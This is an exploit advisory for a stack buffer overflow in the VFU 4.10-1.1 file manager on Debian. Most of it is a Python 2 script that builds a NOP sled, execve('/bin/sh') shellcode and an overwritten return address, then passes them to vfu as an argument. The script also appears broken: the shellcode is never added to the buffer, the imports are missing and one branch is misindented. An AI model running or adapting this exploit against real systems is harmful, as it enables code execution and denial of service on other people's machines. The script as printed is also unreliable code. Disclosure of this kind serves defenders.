VFU 4.10-1.1 Stack Buffer Overflow

# Author: Provensec http://www.provensec.com <advisories@provensec.com >
# Tested on GNU/Linux - Debian Wheezy

# Description: VFU v4.10-1.1 is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker can exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Application vendor: VFU v4.10-1.1 ( Latest ) - http://cade.datamax.bg/vfu/
# Download from: https://packages.debian.org/wheezy/vfu

buffersize =  803
nopsled = "\x90"
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
eip = "\x10\xf0\xff\xbf"
buffer = nopsled * (buffersize-len(shellcode)) + eip

try:
   subprocess.call(["vfu", buffer])
except OSError as e:
   if e.errno == os.errno.ENOENT:
       print "VFU not found!"
   else:
   print "Error executing exploit"
   raise